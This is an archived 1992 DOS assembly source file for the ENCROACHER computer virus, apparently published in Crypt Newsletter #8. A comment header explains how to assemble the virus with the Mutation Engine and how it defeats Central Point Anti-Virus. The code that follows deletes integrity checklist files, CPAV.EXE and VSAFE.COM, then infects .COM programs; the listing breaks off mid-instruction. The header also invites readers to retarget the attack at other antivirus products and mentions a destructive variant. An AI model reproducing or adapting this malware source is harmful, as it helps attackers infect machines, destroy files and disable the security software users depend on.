home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / ENCROACH.ASM < prev    next >
Assembly Source File  |  1992-10-24  |  13KB  |  339 lines

  1. ;***************************************************************************
  2. ; The ENCROACHER virus: Incorporating anti-virus software countermeasures
  3. ; to aid in gaining and maintaining a foothold on a CENTRAL POINT ANTIVIRUS
  4. ; protected system. Some of the ideas in ENCROACHER were inspired by Mark
  5. ; Ludwig's RETALIATOR virus (American Eagle Publishing) and Nowhere Man's
  6. ; VCL 1.0 viral assembly code library. ENCROACHER also utilizes the Mutation
  7. ; Engine for polymorphism. Edited by URNST KOUCH for Crypt Newsletter #8.
  8. ;
  9. ;  1. Assemble with TASM 2.5 with the aid of MAKE.BAT, included in issue #8.
  10. ;  2. The reader must also have the MtE091b object files (not included in 
  11. ;  the newsletter but commonly available as the Mutation Engine at most
  12. ;  good virus info archive sites.) 
  13. ;  3. Place all files in ENCROACHER assembly directory. 
  14. ;  4. Execute MAKE.BAT with TASM 2.5 and TLINK.EXE in path.
  15. ;
  16. ; ENCROACHER is a simple .COM appending virus which strikes the Central Point
  17. ; Anti-virus software in a direct manner.  CPAV stores a file called 
  18. ; chklist.cps in every directory that contains executable programs. This file
  19. ; contains the integrity (or checksum) data on each program in that
  20. ; directory. It is the library file that CPAV refers to when scanning for
  21. ; unknown viruses. By comparing 'newly checksummed' files with its data 
  22. ; in chklist.cps, CPAV locates change, corruption or generic virus infection.
  23. ; Eliminating these files before virus infection forces Central Point 
  24. ; Antivirus to create new 'checklist' data for the directory, AFTER the
  25. ; virus has acted.  Therefore, the virus-infected file becomes
  26. ; a legal part of Central Point's freshly calculated integrity data.
  27. ; Upon call, ENCROACHER will ALWAYS check for and erase these files, forcing
  28. ; the anti-virus software to constantly update its data, effectively
  29. ; making this feature unreliable.  In my experience,
  30. ; the CPAV software does not protest the elimination of these files in an
  31. ; appropriate manner.
  32. ;
  33. ; ENCROACHER will also attempt to erase the main CENTRAL POINT A-V program        
  34. ; in its default installation directory before infection.  This is a 
  35. ; direct attack and is more likely to be noticed than the
  36. ; disappearance and reappearance of dozens of very small chklist.cps
  37. ; files. Because it is a strong move, one can be of mixed mind about using it.
  38. ; An alert user SHOULD recognize something wrong almost immediately. 
  39. ; However, it is included to illustrate the point that while it presumes 
  40. ; apriori knowledge concerning the location of CPAV software on the system,  
  41. ; many users can STILL be expected to be lazy (and/or stupid) and use the 
  42. ; vulnerable shrink-wrapped software recommendations for installation.
  43. ;        
  44. ; ENCROACHER will also target and delete VSAFE.COM, CPAV's most powerful       
  45. ; program for the detection of virus-mediated opening, closing and writing
  46. ; to files. (The CPAV software also contains VSAFE as a device, VSAFE.SYS.
  47. ; The user may add attack of this component to the source code if he wishes.)
  48. ; If Central Point's DEFAULT installation is in place and VSAFE is in        
  49. ; memory, ENCROACHER will remove it since, generally, the program
  50. ; is merely configured to scan for known viruses, add chklist.cps files
  51. ; to program directories and lock out writes to the boot record. If all
  52. ; of VSAFE's features are enabled, ENCROACHER WILL BE detected when it
  53. ; attempts to destroy VSAFE. However, since these VSAFE features are
  54. ; not practical for everyday computing needs, it can be
  55. ; assumed relatively safe to disregard them as a threat to ENCROACHER. (The
  56. ; reader is invited to add a routine which will make a call to VSAFE
  57. ; if in memory. If VSAFE is resident, the routine could be written to
  58. ; instruct the virus to go to sleep until the danger is past.)
  59. ;        
  60. ; Central Point Anti-virus contains a third program known as VWATCH. It
  61. ; can be safely ignored by ENCROACHER.
  62. ;
  63. ; ENCROACHER's anti-virus software countermeasures can be quickly adapted
  64. ; to almost any commercial software of choice.  Access to manuals or
  65. ; copies of the Norton Antivirus, Fifth Generation's Untouchable or
  66. ; Leprechaun Software's Virus-Buster have all the information needed to
  67. ; allow the homebrew researcher to reconfigure the virus so that it can 
  68. ; attack these programs in an educated manner.
  69. ;
  70. ; ENCROACHER2 is a variant of ENCROACHER supplied as a DEBUG script. 
  71. ; In addition to it's anti- CPAV capability, ENCROACHER2 will poison selected
  72. ; programs sometime in the evening hours.
  73. ;
  74. ; General features: ENCROACHER will infect all .COM programs in its current 
  75. ; directory. When finished, it will jump to the root of the current directory
  76. ; and continue its work.
  77. ; ENCROACHER WILL NOT restore the DTA, producing a shift at the prompt. 
  78. ; (Sorry, deadline was approaching for the newsletter and I had to get this
  79. ; baby to bed.) 
  80. ;        
  81. ; ENCROACHER has no problem infecting COMMAND.COM or NDOS.COM!  The operating
  82. ; system WILL continue to load properly. ENCROACHER quickly deletes
  83. ; Central Point software programs on start-up. There is no noticeable
  84. ; delay in infection times between it and a copy of the virus lacking 
  85. ; these features.
  86. ; ENCROACHER will quickly infect down the trunk of any directory structure.
  87. ;
  88. ; Keep in mind, that ENCROACHER 2 can be frustratingly destructive once
  89. ; it has spread out onto a system.
  90.     
  91.     
  92.     .model  tiny
  93.     .radix  16
  94.     .code
  95.  
  96.     extrn   mut_engine: near, rnd_get: near, rnd_init: near
  97.     extrn   rnd_buf: word, data_top: near
  98.  
  99.     org     100h
  100.  
  101. start:
  102.     call    locadr
  103. reladr:
  104.     db      'ENCROACHER is here'
  105.        
  106. locadr:
  107.     pop     dx
  108.     mov     cl,4
  109.     shr     dx,cl
  110.     sub     dx,10
  111.     mov     cx,ds
  112.     add     cx,dx                   ;Calculate new CS
  113.     mov     dx,offset begin
  114.     push    cx dx
  115.     retf
  116. begin:
  117.     cld
  118.     mov     di,offset start
  119.     push    es di
  120.     push    cs
  121.     pop     ds
  122.     mov     si,offset old_cod
  123.     movsb                           ;Restore first 3 bytes
  124.     movsw
  125.     push    ax
  126.     mov     dx,offset dta_buf       ;Set DTA
  127.     mov     ah,1a
  128.     int     21
  129.     mov     ax,3524                 ;Hook INT 24
  130.     int     21
  131.     push    es bx
  132.     mov     dx,offset fail_err
  133.     mov     ax,2524
  134.     int     21
  135. killcps:              ; clear CPS integrity files from startup directory
  136.     mov     dx,offset killfile      ; DX points to data mask: chklist.cps
  137.     mov     ah,04Eh                 ; DOS find first file function
  138.     mov     cx,00100111b            ; All file attributes valid
  139.     int     021h
  140.     jc      erase_done              ; Exit procedure on failure
  141.     mov     ah,02Fh                 ; DOS get DTA function
  142.     int     021h
  143.     lea     dx,[bx + 01Eh]          ; DX points to filename in DTA
  144. erase_loop:     
  145.     mov     ah,041h                 ; DOS delete file function
  146.     int     021h
  147.     mov     ah,03Ch                 ; DOS create file function
  148.     xor     cx,cx                   ; No attributes for new file
  149.     int     021h
  150.     mov     ah,041h                 ; DOS delete file function
  151.     int     021h
  152.     mov     ah,04Fh                 ; DOS find next file function
  153.     int     021h
  154.     jnc     erase_loop              ; Repeat until no files left
  155. erase_done:
  156.  
  157.  
  158.      jmp     killcpav               ; chklist.cps gone, go for CPAV.EXE
  159.                     ; in factory installation
  160.     
  161.     
  162. killcpav:              ; clear CPAV master executable from default directory
  163.     mov     dx,offset killfile2    ; DX points to filename
  164.     mov     ah,41h                 ; DOS erase file function
  165.     int     21h
  166.     jc      killvsafe
  167.  
  168. killvsafe:
  169.     mov     dx,offset killfile3
  170.     mov     ah,41h
  171.     int     21h
  172.     jc      erase_done2
  173.  
  174. erase_done2:
  175.     jmp     getonwithit
  176.     
  177. getonwithit:                            ;get on with infecting files
  178.     xor     ax,ax                   ;Initialize random number generator
  179.     mov     [rnd_buf],ax            ;for Mutation Engine use
  180.     call    rnd_init
  181.     push    sp
  182.     pop     cx
  183.     sub     cx,sp
  184.     add     cx,4
  185.     push    cx
  186.  
  187. find_lup1:        
  188.     mov     dx,offset srchnam       ;COMfile mask for clean file search
  189.     mov     cl,3
  190.     mov     ah,4e                   ;find a file
  191.  
  192. find_lup2:
  193.     int     21        ;Find the n